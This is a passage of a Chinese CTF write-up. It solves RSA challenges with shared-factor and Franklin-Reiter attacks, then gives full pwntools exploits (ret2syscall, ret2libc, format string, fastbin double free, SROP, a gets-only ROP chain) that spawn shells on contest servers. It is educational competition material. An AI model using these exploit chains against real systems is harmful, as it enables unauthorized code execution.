(int("71157530232168231071136890858912616050720830400022706299714461019258910354851417650227422961886365022306141477702824881599077623195801641964057263386031786220270890082089447766654209469387927987335260990984685945401925861903655650392938594865200916004709406149687172952181674325358107989641197765842163904547"),
int("27960181215930944825487403120483445285549624807444954861078101716612013743479552799262420582301067324579888715200194831185242773332005168956859526124595540207082642989519872446505766401363375766517640847713946346877947806553907090624698961288800133781997732503324975289915749170584907965906576569454791362716")),
(int("66972648047375401600966868890460223407049464787687477233543254745626282151414582703711121179221058247651761267900898225903976203880613931632194874983043030539016993590676102349957616653491527988171250828064867642424963623959132504648424440781640680504700708119332029568543096316060268809505043468916214805513"),
int("60835135959791008690787814428104042871068368305340120883899568388232284733018967302193949855079169482639685706640962794034354074444182486368506005576035610719914663064491492453959532118366777810500578191258738886381059084295580203383314309232955684615288245065267787325644339730306113924643772851852254974447")),
(int("90257637943598108316769497507794508593198806302392993521070418011991721766720752879485768447222083665431446115452523069625768629087198843486179127627688891514510660821010755020225100968675551771499095646313769726939397657740949967858530715457699721915837776214979058584769812249030196060963967766503952342313"),
int("4399313549134622905685042154653087546829550910787423655419326566487878138253206359509288756495066332688825657315393329979416459694050238332939436214209529989902054986831591699570809096389539557895185915401991616918262699503508747929872338216502127614214065785380825327547608094369072262475865753199634917243")),
(int("92288251740600331464419220550566043483318956046633993383068422751131440697160804724009965543419750026416145402171946239689160353343558812650051732083425661211116525981882827129786285507421384186253914385945235839575942689159175143843170584595031563834194522396791461112821621800304795101789634774174454963923"),
int("66247987728121195021048077968716090081849970921058095317354141115909675926873116470141983756969079542376202625155266240762945918052265405682130314708469394971687236301195491947843935012259628382158162193578005325779969088722810703761417697325724612365005066194053189048901730077756974814700579148238309842127")),
(int("69827077115568693338658530875808427671954833979587031673719819999982837118678966004630045025949355988108488971089469456573587826096181206180504021005589295303686058202337425160037577216512544874916659317879664486251344000204924121435478175340685277219630619759748397121310072824905427346314024289371793912511"),
int("41961541529750170616647278321641897011519854170766331727250048812589068480312085578768151129262884426947065380762103627693081345115074811616528854812168141383304088815422297153742050890507255438405990962029560578841792672129077703992563889849131151026125890119428775426873159430059036108088873321237025365358")),
(int("121967509067813105411086531144570873813192438551353178244135305741941444885017879430265551135740001199881109528100015326618038641360496483748825955036785972103400120249819219515635771224670126658284122783204302878023875811221532401827466979985960758004984121521325952830430974045801555031712045538716943996723"),
int("56685268855458449301807361992185903395597392151912521111631437180065784801852096532529914802338195640469288263142147157273947747638162749552053228362964253085471152499570837646190222747929748096979121775764723331627546226024083599380351478409656463017930399581089017887517605437054166812501653272994305049733")),
(int("111443052209737188054980912596162706015139783786609288606533946708676690565398361227327894393619361319986987105479808487817585338876690712274387199821822463901215385473552030769905055879411818185403467682658270584733008692794033574579656016628470672448456704070463193623651351708851493606658113454562567882661"),
int("43063936534303512947747167344506435082446824926097920117523394928030369927880018399419359991527162493235267016416838487018780946144446357441103107132169534930859416679537307845573892372204094363648842008627025957417743819712548780548638411753631418121273062911493469263026439608376883943145341779233547349322")),
(int("95620970653115821773446688521489956525828853169640893473222967682133652620358237668549573949380199526055232887654104696571224326591336762618919861506923955551797033258152132330235021156256598798132150199923133163071780984430617120833384712466833259138293611424196294549754790929522798073754475302543066810743"),
int("91169514280852748423033050397827518019817961586213917174038858129257009995113093470448250725086280286170678089050234174099511369579341419962038031802624545869067250826450322548758429711203364340708549417927947792532084430609434623786029296423816717020689535357554451463107098397308992129847312441034090896054")),
(int("124459121435252896777500422250770572324857852710447484525638245458046469810759653904386808397836485937480907526066675846846520234694216388767247413055775273377784217457842271722405085516541895286181193855041203802309799146536571497448784444626120767476230109922946020087790478941065170405108420502950780133523"),
int("31093240913979248685149171690112008628787979057692479889383006812352691515320164771142647979614495403955948954659560787370320141750652034536411365349410185683329265665259057268279825368747472043471647395698722820688715744644164047773730191101752121825958698066913241659826405486783122723635730561796940158209")),
(int("81003649135399280604842700104760993194465757071677051471315130409609378910142544915378149900405963802123740729794683591795243782387944402010717523706170293193013567657184591547272086787248471917203180979462232769467918763279576984067235329340647626314893413320227300379671225813004347947887556793324907475161"),
int("44574763638238888886413256782673998315683494885040898927663006383199262443563576364203866155221980255226080343413308265988173997445413293009039817487501278047992287533365144990492783676929885753160063328137593489873818942984326464370764083819180424063003855862513091163320610019844965347283565770209660580060")),
(int("98732243816208344101089881999678229767787321192638126987232060022293171828538636055234082960150558855412662397028478679139916381771811220331027455874138797444723547224197063212061534351867173190141857439152581327894215440861514666659083641573712750230406234166746981657633453579555223087777388017141219863357"),
int("79986503981752061258794042676693178586447029502359747048023111795992934365242244682829429272390068037057046062309761327773405090718654650720076028550805109733579396054684907361299816676563364626187567013130090336496213340846195056940882865823569179892482289906651517251337945983544365258393137860454629191034")),
(int("95479078167944012555059510194535316700724634892833216872215244225865604624747266739645717141828585085019926083587368486910129688910884679317631716166480652140861382210591129454338475212950770552050475815284838056686348436934865994292725841850312050347693728526187676352510853618070377328882007450669852024067"),
int("45982751479143673997045605834122952252425215373240723816593939944209409478475972946079190389743757924303865876514515981660955111210625161445971304646183507301105269006602145715411717298196867795684625232475162257873600441071166167581905690570819559110937048405959184291973185816886576321872073629520027933109")),
(int("104210978136595230891087798676367564823753206514856021196375425772745699072487908076016311602695745154349859462737817439238614793440776356373265528586980469884184707529198466626483692318329436310471573158231593900056091507816703811713617547371376944611174717451275120901898700134871914684744133375045083974559"),
int("47795890018312771415042345069340623608208640670842813420097975422251308044096964274135251807688060722467290219083318980053947501924058955107468568628695877672501235831125177972779208595710594858788771405413808960375103289445718484753806431277618590577002568794014665029007522547246875640296273255471027746174")),
(int("124900226916008255291364823427932270688510422097938162661205956484918846565343556390509970236724043293296270349255397548674255755736775721401583808983028413293950374478174908210743176930820078213911296986905209176239030646665342756766665656798693942784289547500890598570625257574834144161908220090513607100443"),
int("69687098984633733075280717007587203818312950246289738071141776045422637587297945727527258833596780023616592412869727844602694777579783707102049282895045427781576648624111949234897892934958565410274547056762375405558949445944961270752443153415695633314374042157534903100601349529735209374183246418467507261678")),
(int("106076461689740364509547983234550083419491598858439281865012707231490098640181388950259650519845227256038061169481367312244216059487641941663897149853760510043653747481760729965852665972680183551345973379645844201094479192927941808230165011051745283319434738229025415306651624552661593145968829146009528204139"),
int("49265710428903305060640098658868900623042892220055083681800681636693217103754657961211688101393980802485486994767600500130501790099820636158227682077483275519434004553444062288968146281353744052370298988361041739971609762483097545691128944207477091466023637243001938492115731909427849297711486130876631104199")),
(int("102962829720771882197749256670336589357311132436261490004396772895006384277874667395420850357722988048941437978183999217447648123296439722730055980585935615891138197537072428082144801107174501380609741843220821085775200534747761633269518926910390413273344760450125150389251771046927241876033660426522558543099"),
int("27781362665688824165016862953510332480542293818004472225574029238124263287391117238506191501951396870358266502368695220080425450119808769180065196569973906172552505849961213824318575099643862453287436796754580954469690531286909858759254426336535934955118131726082983730605020636892038993734701758861726813917")),
(int("73856953558568922866065269006785075537460094024399704360714920414994378603564606431481975815209474306251824674589466430959132648739341353797951609730777823223231201000238065040131404182984196612368806918632439249661194393025640075280971803068966303374536384766382205539061910067068706562997455112740019131141"),
int("51915893879955490253802566958190047213763169433955095339957337049322539987200895203998502264798668768412922087182570714987156269462095705471944455611913005794278946564787522329048202985918435716894853328571194687387853787530720415846161416416757464376941214309484833893359116013087534027228501529765756907692")),
(int("65680214781438239555281960634195867835139324061180765322384486454047655097115706363891153450590534574351578810199984914495173275168206748586690680272761313448935092560918627591896139791469443972993979003054600865154011978228594047714049604578365127852096951779635039890953169546467866563266332296396871076589"),
int("7684074671551210406583011634674519674891094232023770078592205024228244586008047726163330419380257939415877596490356539338012471983951869276015232840717439681128745977907088460407978913598847121925730554331272215687487501421132565249129743606275082527834357490648278977212010985656047607921255565470565331604")),
(int("63731094353225856606884846888435889685724323090116632497321440843471595699500046176243726442543427591048508993828354169603431232430905153081294636987864618130184112836258653457104912385524741899810300045949715807120033969791612530969664910145078555120597496861060797394280764831507105630414699914806363699919"),
int("45135268640531572276632359436457117328448215496689754243654316877945919791435143715382831866291594843635227890263474174236403136140577883195807877658173635800169975109646931450935492786999735420639321517460515137029043381757277121855173814947251489703164764744842744697746009656927991552781411603984151236817")),
(int("131288746056753706799251297343925936986513850875832463509780227830988366933051206223718132326720614580110407529508692875317142679411579909002217250676078142722857601045944930987355779316969568475651902390173931010454505887209439626309636041213111385622305466557744171022716506877192050121646433129382313101053"),
int("112744066328442409161417689589020315149280389883889756414854898060858251180276709990609763598732918496371494629320774504452520501164750402711455524435663355878780266124470139294032611326343529788023423464481785129539704566759175819861252326272870495129850959767518532226207699355915509845261433422668064158147")),
(int("83676921012282550512303401264397648068621964517656416739307673385591720719332838058073826239369638305284785180049541517570705412715000417863135734806873461343038931768632377619826665184183536387706749007414008584315847709894913964647923203871863375859788911666582003878412457638393407796910907877625937115293"),
int("64587468728420247302224575709884332576098583790894153541573792923889723022503636857078795897100243385366764796448591906202736770145726218999885222971394680495632871056756158108672235623119200158547824537286862014033000125072082300400506630117043725123416611633573931158643343196531565638354716489675854822449")),
(int("107030054015087699139519262772728868842593238547433164775729464521772074966846794437736985617483484698270493657545913338804724099411820962705592272173516224837816744344065940618045323765453821555222713203802544489064777242962969716980534278888159088999349126513541701925962726046306864101299436162647297434849"),
int("105657897857946314217340002015104160854509295690859274867843856620738133949061691607504418354926641487695855270865093071510546545157325232748207951711619993404044655007664070926272905377478256229789599520152039771250190159992066715349976543013222482138507293430051790459818256070324493596920250504795880801013")),
(int("89473794652379132450673026806587454714920435044408685254946255223602153698392388885033340513553464653246623093560821610679233365263890457633002483146981940013223156160837730360512137871272216866132440912611846386374771080980840088873686178469059518406894496503145465688024812930960266115229230274738114996907"),
int("65689611094849937112329541757314052031835941448096718520497381987012868452392824902099096359643626573053399516769140077760976151549630064035406584674887819668758166204826846540515185341483274907623321234090042322119063963964305382759909537483616842515806481391952678240808768552058510774610984371734780693135")),
(int("104526292983815049511684831813997427004903214666645560631465142732200291577549994915017639978735111413930374038654975595174609015149778366007738397229835387841781838590394212639085516120474654389008329374807038730589684341972751119427397612411672615922118786971783836634736031219403320200067949470717779338699"),
int("53525296179404140755501633385909663496959520446349532338066089655637364974852325384104814644355031090153086378349806439008060052338094942063965676095471089115562464095086347506474334963836939247782248394005049426530356395273840846631671561797842282022916588149878401628024484852733784293085112240910154188327")),
(int("137317704472567961216181080342613357343575313301339369342657385964502640491361208642059935501657870555419622774054072740316171355388149247371287529354566408424773867535596523666978660163095211923499777265022567776949469058056517042827298345927459607526976941723109800647277312883369595792063139258023975837323"),
int("113303720867154494697852500357644759448043823219362027898143392679102317482970393914011078897636848470883059950298962408807140718310433138772483261345280554971368830760746668022060620713920854476565351976646576658923049862482014555499098631705043425687059066208849299248851416095337775423820369155501159322885"))
]

# 用一个字典记录已经找到因式分解的 n 对应 (p, q),避免重复计算
factorizations = {}

N = len(data)
for i in range(N):
n_i, c_i = data[i]
for j in range(i+1, N):
n_j, c_j = data[j]
g = math.gcd(n_i, n_j)
if g != 1 and g != n_i and g != n_j:
# 对 n_i 分解
if n_i not in factorizations:
if n_i % g == 0:
p = g
q = n_i // p
factorizations[n_i] = (p, q)
# 对 n_j 分解
if n_j not in factorizations:
if n_j % g == 0:
p = g
q = n_j // p
factorizations[n_j] = (p, q)
print(f"Found factorizations for {len(factorizations)} moduli out of {N}")
# 利用恢复出的因式分解对密文进行解密
e = 65537
for n, c in data:
if n in factorizations:
p, q = factorizations[n]
phi = (p - 1) * (q - 1)
try:
d = inverse(e, phi)
except Exception as ex:
print(f"Error computing inverse for n={n}")
continue
m = pow(c, d, n)
try:
plaintext = long_to_bytes(m)
text = plaintext.decode()
except Exception as ex:
text = plaintext.hex()
# 如果解密结果中包含 CTF{ 则打印出来
if "CTF{" in text:
print("Flag found:", text)
else:
print(f"Decrypted message for n = {n}:\n{text}\n")

tRwSiAns

要解决这个问题,我们利用Franklin-Reiter相关消息攻击,因为两个密文对应的明文存在已知差异,且RSA公钥指数e=3较低。以下是详细步骤:

解题步骤:
  1. 计算哈希值:分别计算x1=307和x2=7的MD5哈希值,转换为整数h1和h2。
  2. 确定差异:计算差异delta = h1 - h2。
  3. 构造多项式:在模n的多项式环中,构造两个多项式f(x) = x³ - c1和g(x) = (x - delta)³ - c2。
  4. 计算GCD:找到这两个多项式的最大公约数(GCD),其根即为明文m1 = m + h1。
  5. 恢复明文:从m1中减去h1得到原始消息m,将其转换为字节即可获得flag。
import hashlib
from Crypto.Util.number import long_to_bytes

def hash(x):
return int(hashlib.md5(str(x).encode()).hexdigest(), 16)

n = 100885785256342169056765112203447042910886647238787490462506364977429519290706204521984596783537199842140535823208433284571495132415960381175163434675775328905396713032321690195499705998621049971024487732085874710868565606249892231863632731481840542506411757024315315311788336796336407286355303887021285839839
e = 3
c1 = 41973910895747673899187679417443865074160589754180118442365040608786257167532976519645413349472355652086604920132172274308809002827286937134629295632868623764934042989648498006706284984313078230848738989331579140105876643369041029438708179499450424414752031366276378743595588425043730563346092854896545408366
c2 = 41973912583926901518444642835111314526720967879172223986535984124576403651553273447618087600591347032422378272332279802860926604693828116337548053006928860031338938935746179912330961194768693506712533420818446672613053888256943921222915644107389736912059397747390472331492265060448066180414639931364582445814

h1 = hash(307)
h2 = hash(7)
delta = h1 - h2

# 使用SageMath进行多项式GCD计算
# 以下代码需在SageMath环境中运行
R.<x> = PolynomialRing(Zmod(n))
f = x^3 - c1
g = (x - delta)^3 - c2

def gcd(a, b):
while b:
a, b = b, a % b
return a.monic()

h = gcd(f, g)

if h.degree() == 1:
m1 = int(-h[0])
m = m1 - h1
print("Flag:", long_to_bytes(m).decode())
else:
print("Failed to find the flag.")

Pwn

overflow

静态编译,32位,没有开pie,没什么好说的,直接打ret2syscall

from pwn import *
io = remote("node1.tgctf.woooo.tech",30414)
libc = ELF("./libc.so.6")
#io = process("./pwn")
context(os='linux', arch='i386')
#context.log_level = 'debug'
def debug():
gdb.attach(io)
ebx = 0x8049022
eax = 0x80b470a
edx = 0x8060bd1
ecx = 0x8049802
int_0x80 = 0x8073d70
name = 0x080EF320
payload = b'/bin/sh\x00' + p32(eax) + p32(11) + p32(ebx) + p32(name) + p32(ecx) + p32(0) + p32(edx) + p32(0) + p32(int_0x80)
io.sendafter(b'name?', payload)
payload = b'a' * 0xc8 + p32(name + 12)
#debug()
io.sendlineafter(b'right?', payload)
io.interactive()

shellcode 寄存器都清楚了,但是rdi还有数据,考虑恢复读写权限然后写入shellcode

from pwn import *
io = remote("node2.tgctf.woooo.tech", 30254)
libc = ELF("./libc.so.6")
#io = process("./pwn")
context(os='linux', arch='amd64')
def debug():
gdb.attach(io)
shellcode = """
mov sil, 0xff
mov dl, 0x7
mov al, 10
syscall
mov rsi, rdi
xor edi, edi
mov dl, 0xff
syscall
"""
payload = asm(shellcode)
io.send(payload)
#debug()
payload = b'\x00' * 0x12
shellcode = """
rdfsbase rsp
mov rax,0x68732f6e69622f
push rax
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 59
syscall
"""
payload += asm(shellcode)
pause()
io.send(payload)
io.interactive()

stack

程序伪造了一下影子栈的调用流程,但是如果读入超出的话,会进入到一个函数,就可以打ret2syscall

from pwn import *
io = remote("node1.tgctf.woooo.tech",31206)
libc = ELF("./libc.so.6")
#io = process("./pwn")
context(os='linux', arch='amd64')
#context.log_level = 'debug'
def debug():
gdb.attach(io)
payload = b'a' * 0x40 + p64(59) + p64(0x404108) + p64(0) * 2 + p64(0x404108)
io.sendafter(b'name?', payload)
io.sendafter(b'say', b'a' * 0x50)
io.interactive()

签到

没什么可说的,基础的ret2libc

from pwn import *
io = remote("node2.tgctf.woooo.tech",31664)
libc = ELF("./libc.so.6")
#io = process("./pwn")
context(os='linux', arch='amd64')
#context.log_level = 'debug'
def debug():
gdb.attach(io)
rdi = 0x401176
payload = b'a' * 0x78 + p64(rdi) + p64(0x404018) + p64(0x401060) + p64(0x401090)
#debug()
io.sendlineafter(b'name.', payload)
libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym["puts"]
print(hex(libc_base))
payload = b'a' * 0x78 + p64(rdi + 1) + p64(rdi) + p64(libc_base + next(libc.search(b"/bin/sh"))) + p64(libc_base + libc.sym["system"])
io.sendlineafter(b'name.', payload)
io.interactive()

fmt

没开pie,存在一次格式化字符串,并且直接给了栈的地址,我这里直接爆破栈了(1/4096的概率),但是应该可以栈迁移把rbp移动到与magic变量又一定偏移的位置,然后就能改magic变量了,就能多次格式化字符串(当然我没这样打)

from pwn import *
global io

def main():
global io
io = remote("node1.tgctf.woooo.tech", 30594)
libc = ELF("./libc.so.6")
#io = process("./pwn")
context(os='linux', arch='amd64')
def debug():
gdb.attach(io)
io.recvuntil(b'gift ')
#debug()
buf = int(io.recvuntil(b'\n', drop=True), 16)
og = 0xe3b01
payload = b'%235c%9$hhn%35350c%10$hn' + p64(buf + 0x6a) + p64(buf + 0x68)
io.sendafter(b'name', payload)

io.recvuntil(b'\x7f')
io.sendline(b'ls')
io.recvuntil(b'flag')
while True:
try:
main()
break
except:
io.close()
continue
io.interactive()

heap

2.23的堆,没有开启pie,但是无法申请能够进入unsorted bin的堆块,明显的double free漏洞,但是程序中给了一段可以任意写的内存,地址已知,利用fast bin attack将其当作堆,并再次伪造大小满足unsorted的条件,就有基地址了,然后利用fast bin attack(忘了哪个house了)劫持malloc hook放入ogg,(这边利用realloc调栈了)

from pwn import *
io = remote("node1.tgctf.woooo.tech",30423)
libc = ELF("./libc.so.6")
#io = process("./pwn")
context(os='linux', arch='amd64')
#context.log_level = 'debug'
def debug():
gdb.attach(io)

def malloc(size, content):
io.sendlineafter(b'4. exit', b'1')
io.sendlineafter(b'size', str(size).encode())
io.sendafter(b'else?', content)

def free(idx):
io.sendlineafter(b'4. exit', b'2')
io.sendlineafter(b'delete?', str(idx).encode())

def edit(content):
io.sendlineafter(b'4. exit', b'3')
io.sendafter(b'name?', content)
name = 0x6020C0
io.sendafter(b'your name?', p64(0) + p64(0x71))
malloc(0x60, b'a') #0
malloc(0x60, b'a') #1
malloc(0x60, b'a') #2

free(0)
free(1)
free(0)
malloc(0x60, p64(name)) #3
malloc(0x60, b'a') #4
malloc(0x60, b'a') #5
malloc(0x60, b'a') #6
payload = p64(0) + p64(0x91)
payload = payload.ljust(0x98, b'\x00') + p64(0x21) + p64(0) + p64(0) + p64(0) + p64(0x21)
edit(payload)
free(6)
edit(b'a' * 0x10)
libc.address = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x68 - libc.sym["__malloc_hook"]
print(f'libc:{hex(libc.address)}')

edit(p64(0) + p64(0x91))
malloc(0x60, b'a') #7
malloc(0x10, b'a') #8
free(0)
free(1)
free(0)
malloc(0x60, p64(libc.sym["__malloc_hook"] - 35)) #9
malloc(0x60, b'a') #10
malloc(0x60, b'a') #11
malloc(0x60, b'aaa' + p64(0) + p64(libc.address + 0x4527a) + p64(libc.sym["realloc"] + 12)) #12
io.sendlineafter(b'4. exit', b'1')
io.sendlineafter(b'size', b'20')
#free(1)
#debug()
io.interactive()

noret

栈溢出,但是没有libc,程序里面有一下后门gadget

利用栈迁移,打srop

from pwn import *
io = remote("node1.tgctf.woooo.tech",30403)
libc = ELF("./libc.so.6")
#io = process("./pwn")
context(os='linux', arch='amd64')
#context.log_level = 'debug'
def debug():
gdb.attach(io)
def read(content):
io.sendafter(b'3. Exit', b'2')
io.sendafter(b'feedback:', content)
payload = b'a' * 0x100 + p64(0x40108f) + p64(0x4023A8)
read(payload)
sig = SigreturnFrame()
sig.rax = 59
sig.rdi = 0x4023c0
sig.rip = 0x401163
#0x4022a0
payload = bytes(sig).ljust(0x100, b'\x00') + p64(0x40108F) + p64(0x402288) + p64(0x401024) + p64(0x401163) + b'/bin/sh'
read(payload)
#debug()
payload = b'\x00' * 0x100 + p64(0x401010) + p64(0x4023af) + p64(0x4023b8) + p64(0xfffffffffffffff2)
read(payload)
io.interactive()

onlygets

逆向后发现只有gets

got表不可写

我这个思路算是非预期了,但是我认为富有一定启发性,我这边先大概描述一下这个过程,再结合exp仔细分析(有什么不理解的欢迎来gank我)(注意需要使用与远程环境相同的libc, 版本大概是2.35)

为了介绍方便 我这里关闭了aslr

简要思路

调试时发现(在执行gets前),栈上有一些libc的地址,没有办法输出可以想办法把栈上的这些数据放到寄存器里进行一些操作,但是因为栈的地址不可知,先进行行栈迁移到已知的地方

注意__libc_start_main+128

如果我们能够劫持rtld_global,那么就能够利用 add rcx, [r14],我们利用mov rcx,[rcx+8]将rcx内容变成libc的一些函数的地址,控制其中[r14]的内容,当作偏移,我们就能够执行libc内部的函数了例如 ogg

那么如何执行__libc_start_main + 128呢

注意到在csu中

会执行[r12 + rbx * 8], 那我们让这个地方等于栈上的地址(迁移后),那自然利用栈上残余的__libc_start_main + 128地址就可以直接执行了

那么如何劫持rtld_global呢

思路也好说,如果我们构造一下栈的内容,让pop rdi时让rdi等于rtld_global,然后想办法调用gets函数就可以了

当然这里值得注意的细节还是挺多的,细节我们接下来慢慢讲

仔细分析

由于我写的exp对同一块内存进行了反复操作,如果需要复现是需要反复调试的,并且注意rbp和rsp的位置,如果rbp的位置高于rsp,而且相差很近在运行一些函数的时候会发生一些错误.这点很重要.

这边我将exp分成几块,(连起来就能直接用)当然后面会放总的exp

预处理一些内容

from pwn import *
libc = ELF("./libc.so.6")
context(os='linux', arch='amd64')
#io = remote("node2.tgctf.woooo.tech",30462)
io = process("./vuln")

#context.log_level = 'debug'
def debug():
gdb.attach(io)
bss = 0x601550
rdi = 0x400663
ret = 0x400664

首先我们需要把栈迁移,迁移栈肯定是迁移到bss(一块可读写的区域),但是这个样子bss段上就没有可以利用的libc基地址(全为0),如何处理呢

payload = b'a' * 0x10 + p64(bss) + p64(0x4005E5)
io.sendline(payload)

先把rbp迁移一下,然后返回到

.text:00000000004005E5 48 8D 45 F0                                lea     rax, [rbp+var_10]
.text:00000000004005E9 48 89 C7 mov rdi, rax
.text:00000000004005EC B8 00 00 00 00 mov eax, 0
.text:00000000004005F1 E8 7A FE FF FF call _gets
.text:00000000004005F6 B8 00 00 00 00 mov eax, 0
.text:00000000004005FB C9 leave
.text:00000000004005FC C3 retn

然后接下来重点来了

payload = b'a' * 0x10 + p64(bss) + p64(0x400480)
sleep(1)
io.sendline(payload)

我们返回0x400480的地址,这个地址是start函数的起始地址,他会预处理一些信息然后进入main函数,此时栈上就布上我们想要的内容

在main函数开始时,栈的内容

因为我们可以劫持程序流,而且可以使用pop rdi,但是如果我们这时直接覆盖一些内容为ret,在0x6014a0处附上pop rdi的地址,如果我们想要程序返回gets函数,就需要改变0x6014b0的内容,如果直接覆盖会把rtld_global覆盖掉就没有办法使用了,所以可行的办法就是先把rbp放在0x6014c0处,进行gets,这样就能先把rtld_global下面的地方改成我们想要预期的gets函数

sleep(1)
payload = b'a' * 0x10 + p64(0x6014c0) + p64(0x4005E5)
io.sendline(payload)
sleep(1)

payload = p64(0x4005F1) + p64(0) + p64(0x601460) + p64(0x4005FB)
io.sendline(payload)

此时观察到

下面已经是call gets函数了,此时我们让rbp回来,构造链子

sleep(1)
payload = b'b' * 0x10 + p64(0x6014a0) + p64(ret) * 6 + p64(rdi)[:7]
io.sendline(payload)

这边p64(rdi)[:7]是为了防止gets截断把rtld_global给改了,是这个样子的(这个时候栈已经被复写的不是什么样子了,我很难讲清楚为什么要把rbp leave到一些地址,有什么疑问可以多思考多动调看看吧)

call gets时的寄存器样子和栈的样子如图

这个时候可能你很疑惑,执行完gets之后要怎么确保返回地址(gets执行后就明白了)

sleep(1)

payload = p64(0x601290)
io.sendline(payload)

gets读入的内容,这边是对rtld_global的内容进行修改,这个地址是稍后需要伪造的地址

可见gets执行完是这个样子的(是不是很奇怪,我反复动调出来的一个地址,此时栈已经很混乱了,我也不好直接分析了),这个和rbp在rsp上面有一定的关系,他会push一些寄存器,刚好有一个寄存器存着一个地址,然后push进去了,(我写的太乱了,希望有师傅能有更简单明了的构造栈的方法,比如说不要重复的复用,每次都设置一个新的内存块之类的,整个链调用的过程是很不错的,但是栈的内容就需要不断动调了)

可以看到成功改写了这个的内容

接下来就可以伪造这个地址的内容,然后执行__libc_start_main + 128了

sleep(1)
payload = b'a' * 0x10 + p64(0x6012a0) + p64(0x4005E5)
io.sendline(payload)
sleep(1)
#debug()

payload = (p64(-293 - libc.sym["gets"] + 0xebd3f) + p64(0) + p64(0) + p64(0x40065A) + p64(0) + p64(0x6010a0) + p64(0x6014f8) + p64(0) * 3 + p64(0x400649)).ljust(0xa0, b'\x00') + p64(0x601468)
io.sendline(payload)

这边我又把rop链子和伪造的内容融合到一起了(我知道错了,绕了我吧)但是这个地方复用在一起的话还是很清晰了(不算混乱)

p64(0x40065A) + p64(0) + p64(0x6010a0) + p64(0x6014f8) + p64(0) * 3 + p64(0x400649)就是rop的链子了,这时可以控制rbp的内容以此来满足ogg的一些条件,p64(-293 - libc.sym["gets"] + 0xebd3f)是栈上有一个地方记录了gets + 293的地址,控制rcx为gets + 293,然后利用add偏移来变成one_gadget

调试看一下效果吧

控制r12,使其能够进入到__libc_start_main+128,步入进去

在进行前三行后,rcx变成了栈的一个地址

注意rcx

那么接下来mov rcx, qword ptr [rcx + 8]时,rcx就是gets+294的值了

这边[r14]我们已经控制好了,运行到add指令时

rcx就变成了ogg,call一下直接拿到shell,这边附上exp

from pwn import *
libc = ELF("./libc.so.6")
context(os='linux', arch='amd64')
#io = remote("node2.tgctf.woooo.tech",30462)
io = process("./vuln")

#context.log_level = 'debug'
def debug():
gdb.attach(io)
bss = 0x601550
rdi = 0x400663
ret = 0x400664
payload = b'a' * 0x10 + p64(bss) + p64(0x4005E5)

io.sendline(payload)
payload = b'a' * 0x10 + p64(bss) + p64(0x400480)
sleep(1)
io.sendline(payload)
sleep(1)
payload = b'a' * 0x10 + p64(0x6014c0) + p64(0x4005E5)
io.sendline(payload)
sleep(1)

payload = p64(0x4005F1) + p64(0) + p64(0x601460) + p64(0x4005FB)
io.sendline(payload)
sleep(1)
payload = b'b' * 0x10 + p64(0x6014a0) + p64(ret) * 6 + p64(rdi)[:7]
io.sendline(payload)
sleep(1)

payload = p64(0x601290)
io.sendline(payload)
sleep(1)
payload = b'a' * 0x10 + p64(0x6012a0) + p64(0x4005E5)
io.sendline(payload)
sleep(1)
#debug()
payload = (p64(-293 - libc.sym["gets"] + 0xebd3f) + p64(0) + p64(0) + p64(0x40065A) + p64(0) + p64(0x6010a0) + p64(0x6014f8) + p64(0) * 3 + p64(0x400649)).ljust(0xa0, b'\x00') + p64(0x601468)
io.sendline(payload)
io.interactive()
Being Better
最后更新于 2025-04-17